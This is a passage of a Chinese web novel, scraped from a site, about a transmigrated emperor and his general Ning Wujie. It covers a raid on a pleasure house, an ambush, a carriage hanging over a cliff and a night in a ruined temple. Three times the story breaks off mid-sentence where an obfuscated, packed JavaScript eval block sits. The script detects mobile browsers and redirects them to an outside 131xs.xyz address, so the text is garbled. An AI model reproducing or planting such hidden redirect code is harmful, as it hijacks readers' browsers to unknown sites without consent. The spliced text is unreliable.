“就说那林将军入了大雍朝皇帝的青眼,凤鸾春恩车将人送入宫中,瑶台银阙成了金锁笼,是为龙榻藏娇!” “咳——!” 宁无劫一口茶呛在咽喉,连连咳嗽。 他咳得那样急,一层薄红就从脖颈漫上了耳根。 闻幸回头看他,挑眉,“怎么喝得这么急?” 他说时将茶壶往宁无劫跟前一推,“又没人跟你抢。” 宁无劫目光复杂地看他,还未开口,又听说书人道:“从此深宫如海,林将军心系战场却又飞不出这囚笼。只见他目露哀切:今日是臣得陛下圣眷,不知明日又将是谁?” 宁无劫闭了闭眼,豁然起身,“闻公子,您应该还有要事吧?” 闻幸一脸茫然,“啊?没有啊。” “......大庸皇帝一挥衣袖:朕这便遣散后宫!” 啪——! 宁无劫指尖用力一捏,杯盏倏而化为齑粉。 星河警觉:有杀气! 眨眼之间剑锋出鞘,银白剑光匹练般朝宁无劫面门刺去。 宁无劫单手置于后腰,只微一侧身,二指捏住剑尖轻轻一弹,“铛——”地一声,星河竟被震退两步。 星河双眼瞪大,不服气地再次袭去。 两个闪电般的人影在雅间内缠斗起来,剑风掌风四溢,撕裂满室珠帘。 侍卫们警觉地从四面八方急速靠近,刚至雅间门外时,却见自家陛下施施然端起桌上的瓜子,推开椅子往后一靠,一边磕瓜子一边悠闲看二人打架。 闻幸余光瞥见侍卫,挥手示意退下。 侍卫们愣了愣,旋即将门掩上,悄然退去了。 星河一个飞身侧踢,却被宁无劫抬臂一挡,当空拦下,随后翻掌将人向下一拽。 “咚”地一声,孩子被狠狠掼在案几上,一掌按着他的后颈,令他动弹不得。 “主子快跑。”星河声音委屈,“我打不过他。” 闻幸施施然走过来,轻敲他的脑门,“谁让你出手的。” 星河:? “可是......他有杀气。” 宁无劫眉心抽跳。 闻幸觉得好笑,“我看你就是借口想打架吧。”他说时,示意宁无劫放开那孩子。 宁无劫甫一松手,便又听见那说书人的话:“......陛下揉着他的掌心诱哄:北狄朕替你去征。你只需安心待在宫里,等朕大胜而归,封你为皇后!” 忍不了了。 他伸掌向外,袖箭嗖地一声射向中庭上空,炸开一道烟花。 下一瞬,大量监察使提刀涌入,惊起场中一片喧哗与惊叫。 宁无劫沉声:“陛下,臣要收网了,您的东西,臣会帮您找回的。”话落便推门而出。 留下闻幸一脸懵。 我的东西?我的什么东西? 他又望一眼已经将整个幻海楼围得水泄不通的监察司监察使,终于恍然。 原来宁无劫不是来看美人,是来查案的。 眼见说书人吓得躲到了案几地下瑟瑟发抖,星河发出一声:“啊~,我还没有听完呢!” * 一箱箱珍宝被监察使从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059355|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下搬了上来,不断有呵斥声与求饶声在偌大的中庭响起。 客人已被疏散,仅余幻海楼的人被捆绑扣押。 宁无劫靠坐在白玉桥凭栏上,面色阴沉看着眼前忙忙碌碌的监察使们。 身后传来一个瑟瑟发抖的声音,“官......官爷......我只是个说书的,这......这些都与我无关啊......” 说书人已经被他浑身上下散发的那股杀神般的气场震得连话都说不利索。 宁无劫头也不回,半阖的眼底折射着锐利光芒。 他把玩着一只刚刚缴获上来的鼻烟壶,声音冷得像冰:“刚才的本子不准再讲了。” “否则,诛九族。” 说书人吓得魂不附体,连连磕头称是:“再也不敢了!再也不敢了!” 属下拿了记录文书递给宁无劫,“指挥使,拍卖会当场搜出珍玩一百六十二件,均出自宫廷内库。掌柜的不肯召出来源,要把他押进诏狱吗?” 宁无劫:“除了打杂的,唱戏的,其余人等一律收押。” 那名属下又指着地上一个装满书籍的箱子道:“对了,这是您要搜的话本子,全在这了。” 宁无劫扫视那箱子,目光骤冷几分,“统统烧了。” 话落便大步离开。 原来吴竟看的竟是这种玩意,真该把他眼睛挖了! 等着,他会把所有看过这本子的眼睛都挖了。 属下一愣,看着宁无劫气势森然的背影,不解地挠了一下后脑勺,他们指挥使是跟这些本子有什么深仇大恨吗? 哦,他懂了,这叫焚尽浊流,正本清源。 不愧是宁远军出来的人。 属下看着宁无劫的背影,崇拜之情油然而生。 宁无劫走出幻海楼,叮嘱了一些后续工作,便钻入街边的一辆马车内。 宁无劫单膝跪地,“陛下。” “搜出来的证物将会送进监察司暂时扣押,只是不知陛下今日要找的是什么?” 闻幸正半躺在车尾的软塌上,打了个哈欠,“啊?朕没找东西啊。” 折腾了一晚,他已经很困了,几乎下一秒就要睡着,根本没功夫思考宁无劫为什么会以为他要找东西。 宁无劫眸色一黯。 李德全骗他。 所以这昏君根本就是去逛勾栏的。 呵。 他到底为什么还会相信这昏君能有身为皇帝的自觉? “既然如此,臣先告退了。” “等等。”闻幸挑了个舒服的姿势躺好,从枕头底下抽出个话本丢给宁无劫,“念。” 宁无劫蹙眉。 这昏君总是睡觉的时候就找他念话本,权当助眠用了。 他本想以还有公务要忙为由拒绝,但想起自己最近忙着查案,已经许久没有去福宁殿了,也不知这昏君是否又找了旁人来念话本? 想到这他在一侧软垫上坐下,翻开本子,朗声:“周老丈本是苏州玉匠,因家乡遭了水患,携祖传的汉玉双螭璧来京变卖......” 久违地再次听见熟悉的高冷男神音,闻幸满足地闭上眼。 马车缓缓行驶在夜间的京城官道上。 闻幸刚刚陷入浅眠,却忽然察觉摇摇晃晃行进中的马车突然停住,前马发出一声嘶鸣。他猛然睁眼。 不知谁喊了一声:“有刺客!” 10.第 10 章 宁无劫警觉地起身拦在闻幸身前。 车窗被由外向内支开,探出星河的脑袋,“主子!咱们被包围了,你躲着千万别出来!”说完又没影了。 车身上传来被箭矢钉穿的“笃——笃——”声响,沉闷又密集。 仿佛下一秒就有箭矢要破厢而入。 闻幸一惊,不自觉地渗出一身冷汗。 穿来这么久,第一次遇到刺杀。 从前他出宫都是风平浪静的,今日是谁要对他下手? 感受到真切的死亡威胁,他油然而生强烈的恐惧感。 这种恐惧感将他的神志拉回上辈子濒死的记忆中,心口尖锐的痛感再次袭来。 “臣去帮忙。” 宁无劫提了刀就要出去,却被闻幸暗哑的声音喊住:“别去。” 宁无劫回头,看见闻幸有些苍白的脸色,以及抿紧的唇线。 此时一道箭矢破窗而入,宁无劫反应极快地飞身过去将闻幸护在身下,箭矢堪堪从他耳后擦过,“咚”地一声,直入厢壁,箭尖没入三分。 马匹一声嘶鸣,拽着车厢疯也似地跑起来。 车厢瞬间变得异常颠簸。 宁无劫心头一惊。 惊马了! 他本欲起身,却被怀中人攥紧了衣袍不肯松手,他垂目去看,见闻幸额间已经渗出了一层薄汗,眉心蹙得死紧,一双睫羽因为痛苦而轻颤着。 看着那副苍白的脸,宁无劫心尖莫名一颤,“药呢?” 闻幸几乎说不出话,指尖发颤地伸向榻边的木匣子摸索。 宁无劫翻开木匣,飞速把里头的东西全倒出来,胡乱翻找药瓶。 他想起御医说过的话,发病若拖延太久,恐有性命之忧。 他没发现自己因为太紧张,呼吸都停止了。 好在他很快找到,取了一粒药放入闻幸舌下。 指尖掠过柔软的舌尖,一股痒意一路往心头蹿去。 可他已经顾不上这些异样的感觉,只死死地盯着闻幸的脸。 直到药物起效,他看见闻幸双眸恢复清明,才想起来呼吸。 “好了吗?” 闻幸攥着他的指尖微微放松,“嗯,好了。” 宁无劫松下口气,定了定神道:“惊马了,陛下稍待。” 他欲离开,可攥着他的双手却不松。 闻幸一双宝石般的眸子看着他,张了张口,道:“别死。” 千万别死。 你死了,我就成千古罪人了。 砰砰—— 方才心尖的那道痒意如一道电流,倏然击中了某个不知名处。 宁无劫眸色暗了暗,垂眼道:“遵旨。” 话落,他便转身钻出车厢。 双乘马车飞驰着,周遭景物簌簌后掠,竟已然至郊外。 宁无劫站在轿厢外,几乎持身不稳。 两侧包括星河在内,有十数名侍卫策马与他们并行,一面追着他们的马车,一面以剑格挡从身后射.来的箭矢。 不断有侍卫中箭落马。 他定了定神,目光锁定头马,旋即飞身而上,轻盈落上马背。 甫一落定,他便双膝夹住马腹稳定身形,惊马昂首嘶鸣几欲将他掀翻。 目之所及的不远处便是一株大树,以现在的速度,数息之内便要撞上去,后果不堪设想。 他听见身侧有侍卫大喊:“转向!” 他目光一凛,果断抄起缰绳用劲勒转。 烈马被迫转头,高亢的嘶鸣声响彻林间。 马车堪堪从树侧疾驰擦过。 这一个转向又急又险,且速度不减,跟随的侍卫们急急停下,再欲转向去追时,马车已经疾驰数丈开外。 侍卫们试图再追,却传来星河的高喊声:“先拖住追兵!” 箭矢虽然停下了,可策马而来的追兵亦近在咫尺。 侍卫们调转马头面对着敌兵形成人墙,拔刀而出。 宁无劫控制着缰绳,试图缓慢减速,可未久前路却豁然开朗,一片断崖横亘在前。 “吁——!” 宁无劫瞳仁剧颤,几乎是在看见悬崖的一瞬间,双臂猛然向后一拽缰绳,这一拽力度颇大,拽得缰绳勒入马背,几欲崩断。 头马前蹄跃起,吃痛长鸣,猛地将宁无劫甩离马背。 宁无劫反应极快,在落马的一瞬间伸臂死死扣住车辕,单臂悬吊在车外。 然而头马亦因这剧烈的挣扎而前蹄踩空,就要落崖。 千钧一发之际,宁无劫果断射.出袖箭斩断马匹与车辆间相连的挽具。 两匹马一前一后落下,伴随着长长的嘶鸣,最终消失在深不见底的悬崖。 车厢前轮堪堪停在崖边,半轮已探出崖外,碎石扑簌簌滚落深渊。 宁无劫向下一看,身下已是万丈深渊,峡谷狂风卷起衣袍,猎猎作响。 “陛下!”他高喊:“下车!” 闻幸惊魂未定,死死攥着榻沿才没有因颠簸而跌落下去。 听见宁无劫的声音,他缓缓探出车厢,眼前一幕令他心头一紧。 宁无劫整个人悬在空中,仅凭单臂吊在车辕上。 见他出现,宁无劫神情一凛,轻声提示:“陛下,走慢点。” 几乎半部马车都伸出悬崖,维持着微妙的平衡,闻幸多往前走一步,都有可能使整个马车因失去平衡而掉下悬崖。 闻幸的面色因惊惧而变得惨白,“宁无劫,你怎么样?” “我没事。”宁无劫安抚道:“您慢慢下来,小心。” 他本可以借力一个飞身上崖,但如此一来,本就摇摇欲坠的马车很有可能因他的借力拖曳而失去平衡。 陛下还没有下车,他不能冒险。 闻幸摒住呼吸,缓缓走到厢外,却在迈出下车的那一步时,车身忽然开始剧烈摇晃。 他持身不稳,却反应极快地迅速趴下,分散重力。 晃动渐渐停下了,可他却不敢再往前一步,直觉告诉他,车厢前端好像又往下掉了一点。 好在宁无劫就在眼前,他伸手过去,“宁无劫,我拉你上来。” 他没有注意到自己情急之下忘了自称。 宁无劫伸手与他相握,闻幸拉着人拼尽全力往后拽。 好沉。 闻幸心头腹诽,这小子,吃什么长的这么沉! 他用尽全力竟然都没能拉动。 他不知道,在没有借力的情况下,单靠双臂要拉动一个成年人的重量绝对不是现在的他可以做到的。 宁无劫见势不对,果断道:“陛下,别管臣,跳车。” “不行!”闻幸几乎没等对方把话说完,“你不能死。” 他都可以死,这小子不行! 听见这斩钉截铁的反驳,宁无劫瞳仁微颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065942|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到底为什么这么执着于他? 他闭眼,定了定神,又劝道:“陛下,这样下去不行,马车很快也会掉下去的。” “您只管跳车,臣能上来。” “你休想骗我。”闻幸还在用力拽,可是因为用劲而掌心湿滑,他快要握不住宁无劫的手了。 “我一跳,你就跟着马车一起掉下去了。” 你死了,我怎么办?难道要我去治国理政吗? 大周朝怎么办?五百年王朝就这么没了? 绝对不行! 看见闻幸拼尽全力要救自己的模样,宁无劫原本平静的心跳一瞬间变得纷乱异常。 为什么要舍命救我? 你是金尊玉贵的陛下啊! 他闭上眼,压下纷乱的心跳后,再次抬眼时,目光变得坚定无比。 “陛下,信臣吗?” 闻幸警惕地看他,“你要做什么?” “陛下,信我,松手。” 宁无劫的眸子犹如月下深潭,在漆黑的夜里落入了点点星光。 闻幸的视线撞入那片眸光里,纷乱的内心竟莫名平静下来。 他鬼使神差地松开指节。 几乎是同一时刻,宁无劫的臂膀猛地一沉,拉着车辕下一贯,马车被一道千钧之力拖拽,彻底失衡,瞬间坠落。 闻幸失去重心,眼看着就要落向深渊,呼呼风声在耳侧响起,强烈的失重感令他心脏狂跳。 然而就在他几乎心悸的一瞬间,一道闪电般的人影迎面而来,忽而展臂将他搂在怀中。 速度虽快,但他仍能看见宁无劫被月色镀傻上了一层银灰的脸庞,有如天神下凡。 借着拖拽马车的反作用力,宁无劫飞身向上,搂住闻幸的同时足尖连踏崖壁,腾跃而上崖顶。 一系列动作行云流水,眨眼间完成。 闻幸只觉一阵眩晕,还没反应过来时,已经落地了。 抱着他的臂弯坚实又温暖,他抚平了心跳后抬眼去看,便见宁无劫面色不改,正注视着他。 “陛下,怎么样?” “没事。” 但他那一瞬间是真的以为自己要死了。 也可能是因为方才服用的药效未过,他竟然没有发病。 察觉搂着自己的臂弯有些紧,闻幸略略挣动了一下。 宁无劫这才察觉自己还搂着人,连忙松开。 闻幸惊魂未定地回过头,见崖顶早已空无一物,只余车辙痕迹提醒着他方才惊险的一幕。 他暗暗后怕,方才宁无劫那个飞身上崖的动作要是一步踏错,他们俩就都没了。 这犟种明明自己就可以上来,非要拉着他一起。 “今后不准以身犯险。”闻幸命令道。 宁无劫正欲开口,却不知察觉到了什么,忽然眸光一闪,温和目光转而锐利无比。 他转身挡在闻幸身前,从腰间拔出配刀。 “刺啦”一声,银白刀锋出鞘。 在他如寒潭般的眸子里,倒映出林间深处的崇崇人影。 闻幸看见宁无劫侧过脸来,月光为那副俊美的面部轮廓勾勒出一道耀眼银边。 “陛下,臣数三下,您就往身后跑,不要回头。” 不给他反驳的余地,宁无劫转过脸去,背对着他沉声:“三。” “二。” “一。” “跑!” 11.第 11 章 闻幸只觉一股巨力猛地将他推开,踉跄着连退数步。 眼前,那道缟素色的身影已如一道闪电划破浓稠的夜幕,与十数黑衣人缠斗在一起。 尽管宁无劫的身法快如疾风,刀光凛冽,但敌人太多,总能寻到他闪转腾挪间的空档。 一个侧身躲闪不及,凛冽刀锋已至眼前。 “嗤啦——” 衣帛撕裂的锐响伴随着皮肉绽开的声音。 宁无劫单臂被划破了一道血口。 尽管受伤,他却丝毫不受影响,身法刀风速度不减,不断有黑衣人被他击中,或倒地不起,或仓皇败退。 素色的人影如一道匹练在重重黑影中穿梭,所过之处不断有血雾喷薄而出。 借着月色,闻幸看见宁无劫一身缟素色的衣袖被鲜血染红。 他狠狠攥紧了袍袖。 这犟种,又逞英雄! 等着,回头一定要治他个抗旨不尊的罪名。 闻幸抬手挽起袖沿,露出腕间绑着的一只金色袖箭筒,那是每次微服出门前星河都会要求他带上的,说是万一遇到危险,关键时刻能保命。 但是他从来没用过。 他闭上眼强迫自己冷静下来,努力回忆上辈子在射击馆练习移动靶时的感觉。 重量,应该跟P238差不多。 后坐力,忽略不计。 准心,不知道。 闻幸再次睁开眼,看着夜色中渐渐对宁无劫形成包围之势的黑衣人,定了定神。 凭感觉吧。 臭小子,你要感谢我上辈子就这么一个有用的嗜好。 刀剑相击的鸣响不绝于耳。 战斗中宁无劫余光瞥见闻幸仍站在树下,不由拧眉,“陛下!走!” 话音未落,一名黑衣人趁宁无劫分神的机会,自他身后死角一个纵身跃起。 长刀划出一道银光,劈空向宁无劫后颈斩去。 宁无劫反应极快地正欲格挡,却在他动作间听见一声尖锐的破空声。 箭矢刺破血肉发出闷响,那黑衣人直直从半空跌落。 “哐当——” 黑影伴随刀柄一齐落地,露出眉心一点金色箭芒。 宁无劫微惊,扭头去看,见闻幸正抬臂瞄准他的方向。 袖箭? 这一念头刚刚闪过,又是几名黑衣人同时从四面合围而来。 宁无劫不敢再分心,足尖轻点地面,一个飞身后撤,同时反手一记背刺,狠狠捅穿黑影胸膛,迸溅的血雾中,又是两声箭矢破空,堪堪贴着他的耳侧擦过。 “咚——咚——” 接连两道沉重的坠地声。 宁无劫震惊地看见每一个倒地的黑衣人都是头部中箭,一击毙命。 金色的箭矢疾如光,又准又狠,围攻的黑影数量正以肉眼可见的速度锐减。 终于,有黑影察觉到了局势的诡异逆转,果断掉头向闻幸的方向袭来。 宁无劫刚刚一刀击毙敌人旋即翻身追上,试图将黑影拦下。 可那人速度奇快,轻功几步就疾驰到了近前,刀光亮起几乎就要刺中闻幸。 宁无劫瞳孔剧缩,心跳几乎骤停,“陛下!” 却在刀锋落下的瞬间,又是一道金属刺穿血肉的诡异闷声。 黑衣人直直落地,露出其后闻幸沉静又冷冽的面容。 宁无劫的动作停住了。 那副清癯的身体立在树下,天水蓝的织锦袍子染上月华,衬得闻幸整个人似笼在一层清辉里。 他定定地看着那位金尊玉贵,身体却轻薄得不像话的陛下,此时宛如执掌生死的谪仙。 见他危机未解除便愣怔出神,闻幸皱眉,正欲呵斥,却见在他身后,无数倒地的尸首里,一个人影摇摇晃晃地提刀支地,一手已经握紧了飞刀。 闻幸本能地抬臂,指尖已扣上机括。 却见宁无劫头也不回,足尖踩中落地的刀柄,精准向后一踢。 伴随一声闷响,刀锋入骨,最后一点挣扎的声息也彻底消失。 宁无劫还是没有动,树下那个谪仙却走来了。 闻幸一眼不发,不悦地看一眼宁无劫受伤的臂膀。 刀伤不深,但是血淋淋的,看着渗人。 他暗暗松口气,旋即又锁着眉道:“朕有没有说过你不准死?” 今晚三番两次,周武帝就差点没了,历史在他手上来个大拐弯,会引发什么样的后果他也不知道,说不定华国都没了,他也没了。 这可不是什么小说,有主角金身不破的定律。 万一出了差错,让他三年后把皇位交给谁去? 光是想想就足够他暴怒了。 见宁无劫不回话,他沉声:“你屡次抗旨不遵,怎么,打量朕奈何不了你?” “可是臣没有死。”宁无劫平静的声音里透出的是理直气壮。 闻幸不可思议。 很好,都敢顶嘴了。 这叫什么? 恃宠而骄? 呵呵。 “朕是不想你死,可朕也讨厌不听话的臣子,你要是再抗旨,朕就打发你回西北,换你兄长来替你。” 话落,他便看见宁无劫面色一滞。 意外地,没有看见上一次那种几乎要冲过来杀他的愤怒。 取而代之的是阴沉,宁无劫那表情阴沉得能滴水,目光冷凝如淬冰,看得人背脊发寒。 应是出离愤怒了吧。 但闻幸今天没心思逗弄人了,他说的都是真的,这犟种再不听话不如回西北算了。 说不定顺其自然的话这人反而能好好活到造反登基。 他是真的很想按时退休好吗! 他看见宁无劫一双眼眶像是被怒火染红一般,甚至蔓延到了眼尾。 少年牙关咬紧,忍了又忍才道:“遵旨。” 闻幸没有纠缠,转而走到一地的黑衣人尸体旁,躬身掀开其中一人的蒙面,“也不知是谁的人。” 宁无劫背对着他,深深地闭眼,压下心头那股几乎要燎原的怒火。 但这一次,没有了屈辱,只是单纯的愤怒。 他没有心思去想为什么,只强行将这股异样抛诸脑后。 眼下还有更重要的事要做,不要被情绪裹挟了心智。他想。 他转身走到闻幸身旁,刀尖一挥便将黑衣人的衣袖挑破,露出里头一个黑色纹身,是一把长刀与月牙组合的图案。 见到那个标志,他摇摇头,“查不到的。” “这是半月楼的人,他们拿钱卖命,绝不会出卖雇主。” 他说时冷笑了声,“派出这么多杀手,他们的雇主也算是下了血本了。” 闻幸颔首,毕竟他是皇帝嘛,值这个价。 只是他实在想不出谁要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071343|178560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀他。 之前系统卡片里描述的原主可没有遭受过刺杀啊。 而且因为太后母家势力庞大,原主的登基之路可以说是无比顺遂,所有的竞争对手早就被铲除了。 他一时间想不明白,索性不去想了。 折腾了大半夜,他真的很累,这具身体能量耗尽,现在几乎是靠他的意志力在支撑着。 再不找个地方躺下他怀疑自己马上就要晕厥了。 他正四处张望试图找个出路,却在此时,方才还月朗星稀的天空竟淅淅沥沥地下起小雨来,月亮悄然躲到了乌云后头。 唯一的光源也消失了。 察觉到他迈开步子,宁无劫一把拉住他,“夜间在林子里容易迷路,何况现下月光也没有,千万不要乱走。” “那我们就这么淋着?”闻幸好笑地道。 宁无劫点燃一只火折子,“好在这雨不大,宁远军的火折子能在雨中维持一盏茶的功夫,先看看附近有没有地方落脚。” 小小的火苗照亮前方不足三尺距离,宁无劫拉着闻幸的腕子,“跟着臣。” 闻幸皱了一下眉,总感觉哪里不对。 这小子都敢不请旨先斩后奏了吗? 不过眼下他们在荒郊野外,又着实狼狈,确实也顾不上这些繁文缛节了。 宁无劫手上的那只火折子是他唯一的光源,他只能紧挨着对方,深一脚浅一脚地在这漆黑不见底的密林深处摸索。 好在火折子燃尽之前,宁无劫发现一处可以落脚的地方,一处荒废的城隍庙。 “陛下,我们......”他刚一扭头,便见闻幸好似耗尽了所有力气,身体摇晃了一下,向他倒来。 他连忙接住闻幸。 好似一片羽毛轻飘飘落进他怀里。 宁无劫眉心锁紧,连忙伸手探了一下闻幸的脉搏。 是平稳的,呼吸也均匀。 太累睡着了? 就这么站着也能睡着? 宁无劫无奈,躬身将人横抱起来,迈上石阶。 半盏茶后。 破庙里升起篝火。 宁无劫用拜垫铺成床榻,又扯了神像的神衣铺在上面,正欲将闻幸放倒时却犯了难。 闻幸的衣衫因为淋雨湿透了。 他记得李德全说过陛下在风口睡着都会生病,何况是湿着衣衫? 怀中人的脸上浸了雨水,滴滴水珠挂在皙白的肤色上,像玉兰花瓣上凝着晨露,他的指尖在半空顿了顿,才拭去闻幸脸上的水珠。 视线下移,他看见对方微微敞开的衣襟,雨水已经沿着细长的脖颈滑落,在筋骨分明的颈窝处汇聚成一小片水泽。 他的呼吸一滞,连忙移开视线。 再次察觉到那种异常的眩晕感,宁无劫拧眉。 又是那龙涎香。 这昏君,竟用这种下作手段! 等他回宫,一定要让监察司好好查查这香料。 可他不知道,淋过雨后,衣衫上的熏香也早被雨水冲刷干净了。 此时的闻幸身上,只余雨水的气息。 他闭上眼,摸索着给闻幸解开衣带,指尖碰到滑腻的肌肤,他几乎被烫了一下,紧闭的眼睫微微颤抖着,像湖面上漾起涟漪的蝶翼。 他深吸口气,红着耳根继续摸索。 心中暗道,这是没法子的事,等陛下醒来,再请罪吧。 12.第 12 章 翌日天光大亮。 过于刺眼的光线透过城隍庙几乎毫无遮挡的窗子照进来,直射闻幸的眼睑。 被这强光刺激,他的睫毛微微颤抖,最终不情不愿地撑开眼睑。 “好亮......李德全......”他抬手遮挡光线,哑着嗓子喊。 怎么不给他拉床幔,这老太监是不是老糊涂了。 四下无声。 静默数息后,闻幸的意识终于回笼。 他眨眨眼,记忆停留在昨夜他跟着宁无劫走在漆黑泥泞的山路上。 嘶...... 他揉了一下太阳穴,再垂眼一看,面色一滞。 他未着寸缕,身上披着自己那件天水蓝外袍还有里衣,像是用火烤过的,已经干透了,能闻见好闻的烘烤气。 谁给他脱的衣裳? 宁无劫? 不远处篝火发出噼啪声响,门外传来脚步声。 闻幸抬眼去看,只能看见一个逆着光的人影,一侧腰间挎着配刀,另一侧手上好似提着一个水囊。 “陛下。” 清澈而熟悉的声音传来,闻幸眉心一松。 他揉着疲惫的睛明穴道:“什么时候了?星河他们呢?你找到了吗?” 宁无劫的声音似有些不自在,“臣去找水了,一会再去。” 闻幸疑惑看去,便见宁无劫正背对着自己将水囊放下,又背着自己试图退出去。 “你等等。” 宁无劫的背影顿住。 闻幸用手肘半支起身体,眯了眯眼,十分敏锐地察觉到不对劲。 “你躲什么?” 宁无劫微微偏过脸,又忽地转回去,“陛下还未更衣,臣非礼勿视。” 闻幸垂眼看看自己,因为起身,披在身上的衣裳已经滑落了,分明的锁骨线条蜿蜒至瘦削的肩膀,白得晃眼的肩背一览无遗。 闻幸:...... 他觉得有点好笑。 “你昨晚给朕脱衣衫的时候你不说非礼勿视了?” 他仿佛看见少年的背影僵了一下,随后又飞快转身单膝跪下,垂着首诚实道:“臣没看,是闭着眼的。” 声音似有些急。 闻幸发誓,如果他目力够好的话,一定能看见少年泛红的耳根。 这犟种紧张个什么劲? 换做他一个现代人的思维,都是男人有什么看不得的。 但可能有些人就是脑子里缺根弦吧。 “看了也无妨,朕不治你的罪。”他笑道。 说时便起身穿衣裳。 全程宁无劫的头都是垂着的。 闻幸回头看他一眼,戏谑道:“这么爱跪?跪到这来了。” 他一面系里衣一面走到宁无劫跟前。 一双皙白的足落在宁无劫眼里,亵裤遮去了大半脚背,露出玉节般的脚趾。 宁无劫见那双足就这么踩在破庙满是灰尘的地上,不由紧紧拧眉,缓缓抬头。 闻幸一身洁白中衣,正居高临下俯视着他。 闻幸打量一眼宁无劫已经包扎好的胳膊,似乎是用里衣绞碎的布条包的。他问:“伤怎么样?” 宁无劫摇头:“浅伤,不碍事。” 闻幸点点头,抬起双臂道:“那就伺候朕更衣。” 宁无劫一怔,矢口拒绝:“臣是武将,恐服侍不周。” 闻幸挑眉,“怎么?脱衣服你会,穿衣服你就不会了?” 在他居高临下的视线里,清晰地看见少年的耳根在他说完这句话后,倏地更红了。 像粉白相间的桃花玉。 真是百看不厌。 闻幸想。 宁无劫扯了一下唇角,木着脸辩解道:“为陛下圣体着想,昨夜是迫不得已。” 闻幸存了逗弄人的心思,噙笑道:“若是朕偏要你服侍呢?” 他说时躬身下去,一手抬起宁无劫的下颌,深潭般漆黑的眸子撞进他的视线里。 阳光从门外照耀进来,留下一高一低两道逆光的剪影。 “不会可以学嘛,好好学学……侍、君、之、道。” 后头着重强调的四个字听得宁无劫瞳仁一颤,耳尖的桃花玉红成了鸽子血。 他彻底失望地深深地闭上眼。 谁要学那劳什子的侍君之道! 一夜过去了,什么都没有改变。 昏君果然还是那个昏君,甚至更加无耻! 他到底为什么还会对这个昏君抱有希望?! 就因为这昏君色令智昏,竟想舍命救他吗? 愈发昏聩了! 他抬起头来,直直地看着闻幸,狠咬牙关道:“臣不想学。” 说完把头一偏甩去闻幸捏着他的手指,视线望着一旁的篝火倔强地不肯面对这个昏君。 闻幸挑眉,胆子越来越大了。 “你是不是忘了朕昨夜说过朕讨厌不听话的臣子。” 话落,闻幸自上而下地看见宁无劫那双眼眶忽地又红了,好似噙蛮了不甘与愤懑。 许久他才听见宁无劫压抑的一声:“臣,遵旨。” 闻幸噙笑,抬起一只脚,“喏,穿鞋。” 宁无劫眉心抽跳了一下,忍了又忍,才从怀中掏出一块帕子铺在膝头,又伸手将闻幸的足放在自己的膝腿上。 他的视线不自觉地落在那修剪整齐又莹润的指甲上,像东珠。 他用帕子替闻幸仔细擦拭干净尘土,又伸手捞了落在一旁的靴袜。 亵裤的裤脚被撩起,露出里头骨肉匀亭的一截小腿,宁无劫的拇指避无可避地贴在那微凉的皮肤上。 明明是凉的,他却好似被烫了一般飞快地替闻幸将靴袜穿好。 闻幸见宁无劫匆匆起身,又将他的外袍拿来替他穿上,全程垂着眼一言不发,甚至表情都是木的。 好似在刻意压着什么。 宁无劫面对面给他系腰带,他看见对方那副垂着的眼睫下敛着一双黑漆漆的深潭般的眸子。 好似有万千委屈与愤懑都藏在了那深不见底的潭下。 闻幸勾唇笑了。 系上腰带玉勾,宁无劫后撤一步,面无表情地道:“好了。” 闻幸垂目看着自己穿的一丝不苟的衣衫腰带,由衷赞道:“这不是伺候得挺好么?” 他开起了玩笑:“朕看今后便让宁卿伺候朕的饮食起居如何?” 宁无劫抬眼看他,毫不避讳地与他视线相交,“臣还得完成陛下交托的要事,恐分身乏术。” 说完也不等闻幸发话,便自顾转身离开,“臣去找人。” 看着少年离去的背影,闻幸勾了一下唇,迎着阳光伸了个懒腰。 一夜的疲惫一扫而尽。 心情倏然好了起来。 宁无劫没有走出多远,闻幸便听见一个清脆高亢的少年音:“在这!我看见了!” 星河! 闻幸走出破庙,便见星河带着一队人,似乎是因为看见了宁无劫,正往他的方向走去。 侍卫们不少都挂了彩,马蹄深一脚浅一脚地踩在山路上。 看见队首的孩子,他高声:“星河!” 孩子见了他,目露欣喜,施了轻功几步跑到跟前。 “主子。” 闻幸打量孩子,灰头土脸的,衣衫也被划破了,俩上还有两道泥印,混着血迹。 “受伤了?” 星河摇头,“没有,杀手都被我们消灭了,不过我们打着打着就找不到主子了。”他说时挠挠后脑勺,很惭愧的模样,“我们找了一晚上......” “都怪昨夜下雨,什么都看不见。” 星河撅着嘴,非常生气地嘀咕:“贼老天,要不是下雨我肯定很快就找到主子了。” 闻幸笑了笑,揉揉孩子的脑袋,“没关系。” 